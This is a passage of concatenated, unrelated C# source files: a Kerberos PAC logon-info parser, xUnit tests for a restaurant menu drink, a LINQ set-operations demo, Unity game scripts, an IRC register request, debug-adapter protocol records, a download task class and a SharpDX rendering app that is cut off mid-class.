User = LogonDomainSid.CreateRelative((uint)logon_info.UserId);
PrimaryGroup = LogonDomainSid.CreateRelative((uint) logon_info.PrimaryGroupId);
if (logon_info.GroupIds != null)
{
Groups = logon_info.GroupIds.GetValue().Select(r => new UserGroup(LogonDomainSid.CreateRelative((uint)r.RelativeId), (GroupAttributes)r.Attributes)).ToList().AsReadOnly();
}
else
{
Groups = new UserGroup[0];
}
UserFlags = (KerberosUserFlags)logon_info.UserFlags;
List<sbyte> session_key = new List<sbyte>();
if (logon_info.UserSessionKey.data != null)
{
foreach (var key in logon_info.UserSessionKey.data)
{
if (key.data != null)
{
session_key.AddRange(key.data);
}
}
}
UserSessionKey = (byte[])(object)session_key.ToArray();
LogonServer = logon_info.LogonServer.ToString();
LogonDomainName = logon_info.LogonDomainName.ToString();
if (logon_info.ExtraSids != null)
{
ExtraSids = logon_info.ExtraSids.GetValue().Select(r => new UserGroup(r.Sid.GetValue().ToSid(), (GroupAttributes)r.Attributes)).ToList().AsReadOnly();
}
else
{
ExtraSids = new UserGroup[0];
}
UserAccountControl = (UserAccountControlFlags)logon_info.UserAccountControl;
if (logon_info.ResourceGroupDomainSid != null)
{
ResourceGroupDomainSid = logon_info.ResourceGroupDomainSid.GetValue().ToSid();
}
if (logon_info.ResourceGroupIds != null)
{
ResourceGroups = logon_info.ResourceGroupIds.GetValue().Select(r => new UserGroup(LogonDomainSid.CreateRelative((uint)r.RelativeId), (GroupAttributes)r.Attributes)).ToList().AsReadOnly();
}
else
{
ResourceGroups = new UserGroup[0];
}
}
internal static bool Parse(KerberosAuthorizationDataPACEntryType type, byte[] data, out KerberosAuthorizationDataPACEntry entry)
{
entry = null;
try
{
var info = KerbValidationInfoParser.Decode(new NdrPickledType(data));
if (!info.HasValue)
return false;
entry = new KerberosAuthorizationDataPACLogon(type, data, info.Value);
return true;
}
catch
{
return false;
}
}
private protected override void FormatData(StringBuilder builder)
{
builder.AppendLine("<User Information>");
builder.AppendLine($"Effective Name : {EffectiveName}");
builder.AppendLine($"Full Name : {FullName}");
builder.AppendLine($"User SID : {User}");
builder.AppendLine($"Primary Group : {PrimaryGroup.Name}");
builder.AppendLine($"Primary Group SID: {PrimaryGroup}");
if (Groups.Count > 0)
{
builder.AppendLine("<Groups>");
foreach (var g in Groups)
{
builder.AppendLine($"{g.Sid.Name,-30} - {g.Attributes}");
}
}
if (ResourceGroups.Count > 0 || ResourceGroupDomainSid != null)
{
builder.AppendLine("<Resource Groups>");
if (ResourceGroupDomainSid != null)
{
builder.AppendLine($"Resource Group : {ResourceGroupDomainSid}");
}
foreach (var g in ResourceGroups)
{
builder.AppendLine($"{g.Sid.Name,-30} - {g.Attributes}");
}
}
if (ExtraSids.Count > 0)
{
builder.AppendLine("<Extra Groups>");
foreach (var g in ExtraSids)
{
builder.AppendLine($"{g.Sid.Name,-30} - {g.Attributes}");
}
}
builder.AppendLine("<Account Details>");
if (LogonTime != DateTime.MaxValue)
builder.AppendLine($"Logon Time : {LogonTime}");
if (LogoffTime != DateTime.MaxValue)
builder.AppendLine($"Logoff Time : {LogoffTime}");
if (KickOffTime != DateTime.MaxValue)
builder.AppendLine($"Kickoff Time : {KickOffTime}");
if (PasswordLastSet != DateTime.MaxValue)
builder.AppendLine($"Password Last Set: {PasswordLastSet}");
if (PasswordCanChange != DateTime.MaxValue)
builder.AppendLine($"Password Change : {PasswordCanChange}");
if (PasswordMustChange != DateTime.MaxValue)
builder.AppendLine($"Password Must : {PasswordMustChange}");
builder.AppendLine($"Logon Count : {LogonCount}");
builder.AppendLine($"Bad Password # : {BadPasswordCount}");
if (!string.IsNullOrEmpty(LogonScript))
builder.AppendLine($"Logon Script : {LogonScript}");
if (!string.IsNullOrEmpty(ProfilePath))
builder.AppendLine($"Profile Path : {ProfilePath}");
if (!string.IsNullOrEmpty(HomeDirectory))
builder.AppendLine($"Home Directory : {HomeDirectory}");
if (!string.IsNullOrEmpty(HomeDirectoryDrive))
builder.AppendLine($"Home Drive : {HomeDirectoryDrive}");
if (!string.IsNullOrEmpty(LogonServer))
builder.AppendLine($"Logon Server : {LogonServer}");
if (!string.IsNullOrEmpty(LogonDomainName))
builder.AppendLine($"Logon Domain : {LogonDomainName}");
builder.AppendLine($"Logon Domain SID : {LogonDomainSid}");
builder.AppendLine($"User Flags : {UserFlags}");
builder.AppendLine($"User Account Cntl: {UserAccountControl}");
builder.AppendLine($"Session Key : {NtObjectUtils.ToHexString(UserSessionKey)}");
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
using Xunit;
using DinoDiner.Menu;
namespace MenuTest.Drinks
{
public class TyrannoteaTest
{
[Fact]
public void ShouldHaveCorrectDefaultPrice()
{
Tyrannotea s = new Tyrannotea();
Assert.Equal(.99, s.Price, 2);
}
[Fact]
public void ShouldHaveCorrectDefaultCalories()
{
Tyrannotea s = new Tyrannotea();
Assert.Equal<uint>(8, s.Calories);
}
[Fact]
public void ShouldHaveCorrectDefaultIce()
{
Tyrannotea s = new Tyrannotea();
Assert.True(s.Ice);
}
[Fact]
public void ShouldHaveCorrectDefaultLemon()
{
Tyrannotea s = new Tyrannotea();
Assert.False(s.hasLemon);
}
[Fact]
public void ShouldHaveCorrectDefaultSweetner()
{
Tyrannotea s = new Tyrannotea();
Assert.False(s.isSweet);
}
[Fact]
public void ShouldHaveCorrectDefaultSize()
{
Tyrannotea s = new Tyrannotea();
Assert.Equal<Size>(Size.Small, s.Size);
}
//Has correct calories and price for small
[Fact]
public void ShouldUseCorrectPriceForSmall()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Small;
Assert.Equal(.99, s.Price, 2);
}
[Fact]
public void ShouldUseCorrectCaloriesForSmall()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Small;
Assert.Equal<uint>(8, s.Calories);
}
[Fact]
public void ShouldBeAbleToSetSizeToSmall()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Small;
Assert.Equal<Size>(Size.Small, s.Size);
}
//Has correct calories and price for medium
[Fact]
public void ShouldUseCorrectPriceForMedium()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Medium;
Assert.Equal(1.49, s.Price, 2);
}
[Fact]
public void ShouldUseCorrectCaloriesForMedium()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Medium;
Assert.Equal<uint>(16, s.Calories);
}
[Fact]
public void ShouldBeAbleToSetSizeToMedium()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Medium;
Assert.Equal<Size>(Size.Medium, s.Size);
}
//Has correct calories and price for large
[Fact]
public void ShouldUseCorrectPriceForLarge()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Large;
Assert.Equal(1.99, s.Price, 2);
}
[Fact]
public void ShouldUseCorrectCaloriesForLarge()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Large;
Assert.Equal<uint>(32, s.Calories);
}
[Fact]
public void ShouldBeAbleToSetSizeToLarge()
{
Tyrannotea s = new Tyrannotea();
s.Size = Size.Large;
Assert.Equal<Size>(Size.Large, s.Size);
}
//Checking that holds and adds work
[Fact]
public void HoldIceShouldHoldIce()
{
Tyrannotea s = new Tyrannotea();
s.HoldIce();
Assert.False(s.Ice);
}
[Fact]
public void AddLemonShouldAddLemon()
{
Tyrannotea t = new Tyrannotea();
t.AddLemon();
Assert.True(t.hasLemon);
}
[Fact]
public void SettingSweetShouldGetProperCaloriesForSmall()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Small;
t.AddSugar();
Assert.Equal<uint>(16, t.Calories);
}
[Fact]
public void SettingSweetShouldGetProperCaloriesForMedium()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Medium;
t.AddSugar();
Assert.Equal<uint>(32, t.Calories);
}
[Fact]
public void SettingSweetShouldGetProperCaloriesForLarge()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Large;
t.AddSugar();
Assert.Equal<uint>(64, t.Calories);
}
[Fact]
public void ResettingSweetShouldGetProperCaloriesForSmall()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Small;
t.AddSugar();
t.RemoveSugar();
Assert.Equal<uint>(8, t.Calories);
}
[Fact]
public void ResettingSweetShouldGetProperCaloriesForMedium()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Medium;
t.AddSugar();
t.RemoveSugar();
Assert.Equal<uint>(16, t.Calories);
}
[Fact]
public void ResettingSweetShouldGetProperCaloriesForLarge()
{
Tyrannotea t = new Tyrannotea();
t.Size = Size.Large;
t.AddSugar();
t.RemoveSugar();
Assert.Equal<uint>(32, t.Calories);
}
//test ingredients list
[Fact]
public void ShouldHaveCorrectIngedients()
{
Tyrannotea t = new Tyrannotea();
Assert.Contains<string>("Water", t.Ingredients);
Assert.Contains<string>("Tea", t.Ingredients);
Assert.Equal<int>(2, t.Ingredients.Count);
}
[Fact]
public void SettingSweetShouldGetProperIngredients()
{
Tyrannotea t = new Tyrannotea();
t.AddSugar();
Assert.Contains<string>("Water", t.Ingredients);
Assert.Contains<string>("Tea", t.Ingredients);
Assert.Contains<string>("Cane Sugar", t.Ingredients);
Assert.Equal<int>(3, t.Ingredients.Count);
}
[Fact]
public void ResettingSweetShouldGetProperIngredients()
{
Tyrannotea t = new Tyrannotea();
t.AddSugar();
t.RemoveSugar();
Assert.Contains<string>("Water", t.Ingredients);
Assert.Contains<string>("Tea", t.Ingredients);
Assert.Equal<int>(2, t.Ingredients.Count);
}
[Fact]
public void SettingLemonShouldGetProperIngredients()
{
Tyrannotea t = new Tyrannotea();
t.AddLemon();
Assert.Contains<string>("Water", t.Ingredients);
Assert.Contains<string>("Tea", t.Ingredients);
Assert.Contains<string>("Lemon", t.Ingredients);
Assert.Equal<int>(3, t.Ingredients.Count);
}
[Fact]
public void ShouldHaveEmptySpecialByDefault()
{
Tyrannotea t = new Tyrannotea();
Assert.Empty(t.Special);
}
[Fact]
public void SpecialShouldAddLemon()
{
Tyrannotea t = new Tyrannotea();
t.AddLemon();
Assert.Collection<string>(t.Special, item =>
{
Assert.Equal("Add Lemon", item);
});
}
[Fact]
public void SpecialShouldMakeSweet()
{
Tyrannotea t = new Tyrannotea();
t.AddSugar();
Assert.Collection<string>(t.Special, item =>
{
Assert.Equal("Sweet", item);
});
}
[Fact]
public void SpecialShouldAddLemonAndSweet()
{
Tyrannotea t = new Tyrannotea();
t.AddLemon();
t.AddSugar();
Assert.Collection<string>(t.Special, item =>
{
Assert.Equal("Add Lemon", item);
},
item =>
{
Assert.Equal("Sweet", item);
});
}
[Theory]
[InlineData(Size.Small, false)]
[InlineData(Size.Medium, false)]
[InlineData(Size.Large, false)]
[InlineData(Size.Small, true)]
[InlineData(Size.Medium, true)]
[InlineData(Size.Large, true)]
public void TyrannoTeaDescriptionShouldGiveNameForSizeAndSweetness(Size size, bool sweet)
{
Tyrannotea tea = new Tyrannotea();
tea.Size = size;
tea.isSweet = sweet;
if (sweet) Assert.Equal($"{size} Sweet Tyrannotea", tea.Description);
else Assert.Equal($"{size} Tyrannotea", tea.Description);
}
[Fact]
public void AddLemonShouldNotifyOfSpecialPropertyChange()
{
Tyrannotea t = new Tyrannotea();
Assert.PropertyChanged(t, "Special", () =>
{
t.AddLemon();
});
}
[Fact]
public void AddSugarShouldNotifyOfSpecialPropertyChange()
{
Tyrannotea t = new Tyrannotea();
Assert.PropertyChanged(t, "Special", () =>
{
t.AddSugar();
});
}
[Fact]
public void RemoveSugarShouldNotifyOfSpecialPropertyChange()
{
Tyrannotea t = new Tyrannotea();
Assert.PropertyChanged(t, "Special", () =>
{
t.AddSugar();
t.RemoveSugar();
});
}
[Theory]
[InlineData(Size.Small)]
[InlineData(Size.Medium)]
[InlineData(Size.Large)]
public void SettingToSmallShouldNotifyOfDescriptionPropertyChange(Size size)
{
Tyrannotea t = new Tyrannotea();
Assert.PropertyChanged(t, "Description", () =>
{
t.Size = size;
});
}
[Theory]
[InlineData(Size.Small)]
[InlineData(Size.Medium)]
[InlineData(Size.Large)]
public void SettingToSmallShouldNotifyOfPricePropertyChange(Size size)
{
Tyrannotea t = new Tyrannotea();
Assert.PropertyChanged(t, "Price", () =>
{
t.Size = size;
});
}
}
}
|
using System;
using System.Linq;
namespace Linq_Set_Operatoren
{
class Program
{
static void Main(string[] args)
{
// Distinct - Keine Doppelten einträge
Console.WriteLine();
Console.WriteLine("- Distinct -");
string[] cities = { "Aachen", "Köln", "Bonn", "Aachen", "Bonn", "Hof" };
var liste3 = (from p in cities select p).Distinct();
foreach (var city in liste3)
Console.WriteLine(city);
// Union - zwei Listen verbinden und keine Doppelten einträge
Console.WriteLine();
Console.WriteLine("- Union -");
String[] names = { "Peter", "Willi", "Hans" };
var listCities = from c in cities select c;
var listNames = from n in names select n;
var listComplete = listCities.Union(listNames);
foreach (var p in listComplete)
Console.WriteLine(p);
// Intersect - zwei Listen verbinden, nur einträge die in beiden Listen sind
Console.WriteLine();
Console.WriteLine("- Intersect -");
String[] cities1 = { "Aachen", "Köln", "Bonn", "Aachen", "Frankfurt" };
String[] cities2 = { "Düsseldorf", "Bonn", "Bremen", "Köln" };
var listeCities1 = from c in cities1 select c;
var listeCities2 = from c in cities2 select c;
var listeComplete = listeCities1.Intersect(listeCities2);
foreach (var p in listeComplete)
Console.WriteLine(p);
// Except
Console.WriteLine("Except");
var listeComplete2 = listeCities1.Except(listeCities2);
foreach (var p in listeComplete2)
Console.WriteLine(p);
Console.ReadLine();
}
}
}
|
using UnityEngine;
using System.Collections;
public class JisusGUI : MonoBehaviour {
private float fromx = -7f;
private float tox = -1f;
private bool direction;
// Use this for initialization
void Start () {
direction = true;
}
// Update is called once per frame
void FixedUpdate () {
if (direction && transform.position.x < tox) {
Vector3 actual = transform.position;
actual.x += .1f;
transform.localScale = new Vector3(-.5f, .5f, 1);
transform.position = actual;
} else {
direction = false;
}
if (!direction && transform.position.x > fromx) {
Vector3 actual = transform.position;
actual.x -= .1f;
transform.localScale = new Vector3(.5f, .5f, 1);
transform.position = actual;
} else {
direction = true;
}
}
}
|
using CS.Data;
using CS.Tests.TestRepositories;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace CS.Tests
{
/// <summary>
/// Summary description for TestBase
/// </summary>
[TestClass]
public class TestBase
{
protected IProductRepository _productRepository;
[TestInitialize]
public void Startup()
{
_productRepository = new TestProductRepository(); //init test products
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace irc_client.connection.requests {
public class RegisterRequest : AbstractRequest, IRequest {
public const int LOGIN = 0;
public const int PASSWORD = 1;
public const int NICKNAME = 2;
public RegisterRequest(string login, string password, string nickname) : base("reg", 3) {
base._requestParams[LOGIN] = login;
base._requestParams[PASSWORD] = password;
base._requestParams[NICKNAME] = nickname;
}
public RequestType Type {
get {
return RequestType.Register;
}
}
}
}
|
using System;
using System.Reactive.Linq;
using System.Windows.Controls;
using FundManagerDashboard.Core.ViewModels;
using ReactiveUI;
namespace FundManagerDashboard.Client.Desktop.View
{
/// <summary>
/// Interaction logic for TotalSummaryView.xaml
/// </summary>
public partial class TotalSummaryView : UserControl, IViewFor<ITotalSummaryViewModel>
{
public TotalSummaryView()
{
InitializeComponent();
this.WhenAnyValue(x => x.ViewModel).Subscribe(x => DataContext = x);
this.WhenAnyValue(x => x.ViewModel)
.Where(x => x != null)
.Subscribe(x => summaryList.ItemsSource = x.Data);
}
object IViewFor.ViewModel
{
get { return ViewModel; }
set { ViewModel = (ITotalSummaryViewModel)value; }
}
public ITotalSummaryViewModel ViewModel { get; set; }
}
}
|
using MediatR;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using OmniSharp.Extensions.DebugAdapter.Protocol.Models;
using OmniSharp.Extensions.DebugAdapter.Protocol.Serialization;
using OmniSharp.Extensions.JsonRpc;
using OmniSharp.Extensions.JsonRpc.Generation;
// ReSharper disable once CheckNamespace
namespace OmniSharp.Extensions.DebugAdapter.Protocol
{
namespace Requests
{
[Parallel]
[Method(RequestNames.SetExceptionBreakpoints, Direction.ClientToServer)]
[GenerateHandler]
[GenerateHandlerMethods]
[GenerateRequestMethods]
public record SetExceptionBreakpointsArguments : IRequest<SetExceptionBreakpointsResponse>
{
/// <summary>
/// IDs of checked exception options.The set of IDs is returned via the 'exceptionBreakpointFilters' capability.
/// </summary>
public Container<string> Filters { get; init; } = null!;
/// <summary>
/// Set of exception filters and their options. The set of all possible
/// exception filters is defined by the 'exceptionBreakpointFilters'
/// capability. This attribute is only honored by a debug adapter if the
/// capability 'supportsExceptionFilterOptions' is true. The 'filter' and
/// 'filterOptions' sets are additive.
/// </summary>
[Optional]
public Container<ExceptionFilterOptions>? FilterOptions { get; init; }
/// <summary>
/// Configuration options for selected exceptions.
/// </summary>
[Optional]
public Container<ExceptionOptions>? ExceptionOptions { get; init; }
}
public record SetExceptionBreakpointsResponse;
}
namespace Models
{
/// <summary>
/// ExceptionOptions
/// An ExceptionOptions assigns configuration options to a set of exceptions.
/// </summary>
public record ExceptionOptions
{
/// <summary>
/// A path that selects a single or multiple exceptions in a tree. If 'path' is missing, the whole tree is selected. By convention the first segment of the path is
/// a category that is
/// used to group exceptions in the UI.
/// </summary>
[Optional]
public Container<ExceptionPathSegment>? Path { get; init; }
/// <summary>
/// Condition when a thrown exception should result in a break.
/// </summary>
public ExceptionBreakMode BreakMode { get; init; }
}
/// <summary>
/// An ExceptionPathSegment represents a segment in a path that is used to match leafs or nodes in a tree of exceptions.If a segment consists of more than one
/// name, it matches the
/// names provided if ‘negate’ is false or missing or it matches anything except the names provided if ‘negate’ is true.
/// </summary>
public record ExceptionPathSegment
{
/// <summary>
/// If false or missing this segment matches the names provided, otherwise it matches anything except the names provided.
/// </summary>
[Optional]
public bool Negate { get; init; }
/// <summary>
/// Depending on the value of 'negate' the names that should match or not match.
/// </summary>
public Container<string> Names { get; init; } = null!;
}
/// <summary>
/// This enumeration defines all possible conditions when a thrown exception should result in a break.
/// never: never breaks,
/// always: always breaks,
/// unhandled: breaks when exception unhandled,
/// userUnhandled: breaks if the exception is not handled by user code.
/// </summary>
[JsonConverter(typeof(StringEnumConverter))]
public enum ExceptionBreakMode
{
Never, Always, Unhandled, UserUnhandled
}
}
}
|
using System;
using System.IO;
[CustomLuaClass]
public class DUTask
{
private const float InValid_CheckTimeOut = -1f;
protected int _id;
protected int _clonedTimes;
protected float _progress;
protected bool _progressDirty;
protected float _speed;
protected string _url;
protected string _localPath;
protected DUError _error;
protected DUTaskState _state;
protected Action<int> _completeHandler;
protected Action<DUError> _errorHandler;
protected Action<DUTask, float, float> _progressHandler;
protected float _timeOut = -1f;
protected float _currentTimeOut = -1f;
protected string _timeOutMsg;
protected int m_idForRequestObject;
protected readonly object obj = new object();
public int id
{
get
{
return this._id;
}
}
public string url
{
get
{
return this._url;
}
}
public string localPath
{
get
{
return this._localPath;
}
}
public float progress
{
get
{
return this._progress;
}
}
public float speed
{
get
{
return this._speed;
}
}
public DUTaskState state
{
get
{
return this._state;
}
}
public int clonedTimes
{
get
{
return this._clonedTimes;
}
set
{
this._clonedTimes = value;
}
}
public DUTask(int ID, string url, string localPath)
{
this._id = ID;
this._localPath = localPath;
this._url = url;
this._state = DUTaskState.Waiting;
}
protected DUError _CreateError()
{
if (this._error == null)
{
this._error = new DUError(this._id);
this._state = DUTaskState.Error;
}
return this._error;
}
public void SetCallBacks(Action<int> completeCall, Action<DUError> errorCall, Action<DUTask, float, float> progressCall)
{
this._completeHandler = completeCall;
this._errorHandler = errorCall;
this._progressHandler = progressCall;
}
protected virtual void _CheckTimeOut(float passedTime)
{
if (this._timeOut != -1f)
{
this._currentTimeOut += passedTime;
if (this._currentTimeOut >= this._timeOut)
{
this._CreateError().RecordTimeOutError(this._timeOutMsg);
this.StopCheckTimeOut();
}
}
}
public virtual void Running(float passedTime)
{
this.FireProgress(passedTime);
this._CheckTimeOut(passedTime);
}
public virtual void Begin()
{
if (this._state == DUTaskState.Waiting)
{
this._DoBegin();
}
}
public virtual void Pause()
{
if (this._state == DUTaskState.Running)
{
this._DoPause();
}
}
public virtual void Cancel()
{
if (this._state == DUTaskState.Running)
{
this._DoCancel();
}
}
public virtual void UnPause()
{
if (this._state == DUTaskState.Pause)
{
this._DoUnPause();
}
}
protected virtual void _CreateDirectory()
{
string directoryName = Path.GetDirectoryName(this._localPath);
if (!FileHelper.ExistDirectory(directoryName))
{
FileHelper.CreateDirectory(directoryName);
}
}
protected virtual void _SuccessComplete()
{
this._state = DUTaskState.Complete;
}
protected virtual void _DoBegin()
{
this.m_idForRequestObject++;
this._state = DUTaskState.Running;
}
protected virtual void _DoPause()
{
this._state = DUTaskState.Pause;
}
protected virtual void _DoUnPause()
{
this._state = DUTaskState.Waiting;
}
protected virtual void _DoCancel()
{
this._state = DUTaskState.Cancel;
}
protected virtual void _DoClose()
{
this.StopCheckTimeOut();
this._progressDirty = false;
}
protected virtual void StopCheckTimeOut()
{
this._timeOut = -1f;
this._currentTimeOut = -1f;
this._timeOutMsg = null;
}
protected virtual void SetTimeOut(float deltaTime, string msg)
{
this._timeOut = deltaTime;
this._currentTimeOut = 0f;
this._timeOutMsg = msg;
}
public virtual void FireSuccess()
{
Action<int> completeHandler = this._completeHandler;
if (completeHandler != null)
{
this._completeHandler = null;
completeHandler.Invoke(this._id);
}
}
public virtual void FireProgress(float passedTime)
{
if (this._progressHandler != null)
{
this._progressHandler.Invoke(this, this._progress, this._speed);
}
}
public virtual void FireError()
{
Action<DUError> errorHandler = this._errorHandler;
if (errorHandler != null)
{
this._errorHandler = null;
errorHandler.Invoke(this._error);
}
}
public virtual void Close()
{
this._DoClose();
this._completeHandler = null;
this._errorHandler = null;
this._progressHandler = null;
}
public virtual DUTask CloneSelf()
{
return null;
}
}
|
using UnityEngine;
[CreateAssetMenu(fileName = "Skill", menuName = "Enemy Action/Skill")]
public class EnemyActionUseSkill : EnemyAction
{
[Range(0, 2)]
public int animationToPlay;
public override void Act(EnemyBehaviour behaviour)
{
behaviour.Skill.PlaySkillAnimation(animationToPlay);
}
}
|
using System;
namespace CustomCollection
{
/// <summary>
/// Defines a name/value pair that can be retrieved.
/// </summary>
/// <typeparam name="TName">The type of the key name.</typeparam>
/// <typeparam name="TValue">The type of the value.</typeparam>
[Serializable]
public class NameValuePair<TName, TValue>
{
private readonly TName _name;
private readonly TValue _value;
/// <summary>
/// Initializes a new instance of the class with the specified name and value.
/// </summary>
public NameValuePair(TName name, TValue value)
{
_name = name;
_value = value;
}
/// <summary>
/// Gets the name in the name/value pair.
/// </summary>
public TName Name { get { return _name; } }
/// <summary>
/// Gets the value in the name/value pair.
/// </summary>
public TValue Value { get { return _value; } }
}
} |
using UnityEngine;
using UnityEngine.UI;
public class TimerStartNotifUI : MonoBehaviour {
[SerializeField]
private int startDelay = 20; // maybe you need to increase the time?
private Text textLabel;
private int counter;
private bool isActive = true;
void Start()
{
try
{
textLabel = GetComponent<Text>();
}
catch
{
Debug.LogError("Please,set text component");
}
InvokeRepeating("UpdateTextLabel", 0, 1);
}
void UpdateTextLabel()
{
if(isActive&&(counter<startDelay))
{
counter++;
textLabel.text = "The game will start in " + (startDelay - counter) + " seconds, prepare your town";
}
else
{
counter = 0;
isActive = false;
gameObject.SetActive(false);
}
}
}
|
using UnityEngine;
using System.Collections;
public interface IBuff {
void calculate(AttributesManager.MidAttributes mid);
System.Guid Guid { get; }
AttributesManager AM { set; }
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
//SharpDX namespaces
using SharpDX;
using SharpDX.DXGI;
using SharpDX.Direct3D11;
using SharpDX.D3DCompiler;
// resolve using conflicts
using Buffer = SharpDX.Direct3D11.Buffer;
using Common;
using System.Windows.Forms;
using SharpDX.Windows;
namespace Lights_and_Materials.Application
{
public class D3DApp : D3DApplicationDesktop
{
Texture2D texture2D;
//Vertex shader
ShaderBytecode vsByteCode;
VertexShader vsShader;
//Pixel shader
ShaderBytecode psByteCode;
PixelShader psShader;
//The vertex layout for IA
InputLayout vsLayout;
//A buffer to update the constant buffer
Buffer mvpBuffer;
//Depth Stencil state
DepthStencilState depthStencilState;
// A vertex shader that gives depth info to pixel shader
ShaderBytecode depthVertexShaderBytecode;
VertexShader depthVertexShader;
// A pixel shader that renders the depth (black closer, white further away)
ShaderBytecode depthPixelShaderBytecode;
PixelShader depthPixelShader;
// Matricies
Matrix M, V, P;
Action UpdateText;
/// <summary>
/// Constructor
/// </summary>
/// <param name="window">The winform</param>
public D3DApp(Form window, bool showFps = true, bool showText = true)
: base(window)
{
ShowFPS = showFps;
ShowText = showText;
}
public bool ShowFPS
{
get;
private set;
}
public bool ShowText
{
get;
private set;
}
public override void Run()
{
// Create and Initialize the axis lines renderer
var axisLines = ToDispose(new AxisLinesRenderer());
axisLines.Initialize(this);
// Create and Initialize the axis lines renderer
var triangle = ToDispose(new TriangleRenderer());
triangle.Initialize(this);
//// Create and Initialize the axis lines renderer
var quad = ToDispose(new QuadRenderer());
quad.Initialize(this);
//// Create and Initialize the axis lines renderer
var sphere = ToDispose(new SphereRenderer(Vector3.Zero, .25f));
sphere.Initialize(this);
//// FPS renderer
FpsRenderer fps = null;
if (ShowFPS)
{
fps = ToDispose(new Common.FpsRenderer("Calibri", Color.CornflowerBlue, new Point(8, 8), 16));
fps.Initialize(this);
}
//// Text renderer
Common.TextRenderer textRenderer = null;
if (ShowText)
{
textRenderer = ToDispose(new Common.TextRenderer("Calibri", Color.CornflowerBlue, new Point(8, 30), 12));
textRenderer.Initialize(this);
UpdateText = () =>
{
textRenderer.Text =
String.Format("World rotation ({0}) (Up/Down Left/Right Wheel+-)\nView ({1}) (A/D, W/S, Shift+Wheel+-)"
+ "\nPress X to reinitialize the device and resources (device ptr: {2})"
+ "\nPress Z to show/hide depth buffer",
rotation,
V.TranslationVector,
DeviceManager.Direct3DDevice.NativePointer);
};
UpdateText();
}
InitializeMatricies();
Window.Resize += Window_Resize;
Window.KeyDown += Window_KeyDown;
Window.KeyUp += Window_KeyUp;
Window.MouseWheel += Window_MouseWheel;
RenderLoop.Run(Window, () =>
{
// Clear DSV
DeviceManager.Direct3DContext.ClearDepthStencilView(DepthStencilView,
DepthStencilClearFlags.Depth | DepthStencilClearFlags.Stencil,
1.0f, 0);
// Clear RTV
DeviceManager.Direct3DContext.ClearRenderTargetView(RenderTargetView, Color.White);
// VP matrix
var VP = Matrix.Multiply(V, P);
// MVP
var MVP = M * VP;
// Must transpose to use in HLSL
MVP.Transpose();
// Write MVP to constant buffer
DeviceManager.Direct3DContext.UpdateSubresource(ref MVP, mvpBuffer);
// Render our primitives
axisLines.Render();
quad.Render();
MVP = sphere.M * VP;
MVP.Transpose();
DeviceManager.Direct3DContext.UpdateSubresource(ref MVP, mvpBuffer);
sphere.Render();
var v = sphere.RotationAngles;
v.Y += 0.016f;
sphere.RotationAngles = v;
triangle.Render();
// FPS renderer
if (fps != null)
fps.Render();
// Text renderer
if (textRenderer != null)
textRenderer.Render();
Present();
});
}
void Window_MouseWheel(object sender, MouseEventArgs e)
{
if (shiftKey)
{
// Zoom in/out
V.TranslationVector -= new Vector3(0f, 0f, (e.Delta / 120f) * moveFactor * 2);
}
else
{
// rotate around Z-axis
V *= Matrix.RotationZ((e.Delta / 120f) * moveFactor);
rotation += new Vector3(0f, 0f, (e.Delta / 120f) * moveFactor);
}
if (ShowText)
UpdateText();
}
void Window_KeyUp(object sender, KeyEventArgs e)
{
// Clear the shift/ctrl keys so they aren't sticky
if (e.KeyCode == Keys.ShiftKey)
shiftKey = false;
if (e.KeyCode == Keys.ControlKey)
ctrlKey = false;
}
float moveFactor = 0.02f; // how much to change on each keypress
bool shiftKey = false;
bool ctrlKey = false;
bool useDepthShaders = false;
Vector3 rotation = Vector3.Zero;
void Window_KeyDown(object sender, KeyEventArgs e)
{
shiftKey = e.Shift;
ctrlKey = e.Control;
switch (e.KeyCode)
{
// WASD -> pans view
case Keys.A:
V.TranslationVector += new Vector3(moveFactor * 2, 0f, 0f);
break;
case Keys.D:
V.TranslationVector -= new Vector3(moveFactor * 2, 0f, 0f);
break;
case Keys.S:
V.TranslationVector += new Vector3(0f, shiftKey ? moveFactor * 2 : 0, shiftKey ? 0f : moveFactor * 2);
break;
case Keys.W:
V.TranslationVector -= new Vector3(0f, shiftKey ? moveFactor * 2 : 0, shiftKey ? 0f : moveFactor * 2);
break;
// Up/Down and Left/Right - rotates around X / Y respectively
// (Mouse wheel rotates around Z)
case Keys.Down:
M *= Matrix.RotationX(-moveFactor);
rotation -= new Vector3(moveFactor, 0f, 0f);
break;
case Keys.Up:
M *= Matrix.RotationX(moveFactor);
rotation += new Vector3(moveFactor, 0f, 0f);
break;
case Keys.Left:
M *= Matrix.RotationY(-moveFactor);
rotation -= new Vector3(0f, moveFactor, 0f);
break;
case Keys.Right:
M *= Matrix.RotationY(moveFactor);
rotation += new Vector3(0f, moveFactor, 0f);
break;
case Keys.X:
// To test for correct resource recreation
// Simulate device reset or lost.
System.Diagnostics.Debug.WriteLine(SharpDX.Diagnostics.ObjectTracker.ReportActiveObjects());
DeviceManager.Initialize(DeviceManager.Dpi);
System.Diagnostics.Debug.WriteLine(SharpDX.Diagnostics.ObjectTracker.ReportActiveObjects());
break;
case Keys.Z:
var context = DeviceManager.Direct3DContext;
useDepthShaders = !useDepthShaders;
if (useDepthShaders)
{
context.VertexShader.Set(depthVertexShader);
context.PixelShader.Set(depthPixelShader);
}
else
{
context.VertexShader.Set(vsShader);
context.PixelShader.Set(psShader);
}
break;
}
}
private void Window_Resize(object sender, EventArgs e)
{
//Maintain correct aspect ratio
P = Matrix.PerspectiveFovLH((float)Math.PI / 3f, Width / (float)Height, 0.5f, 100f);
}
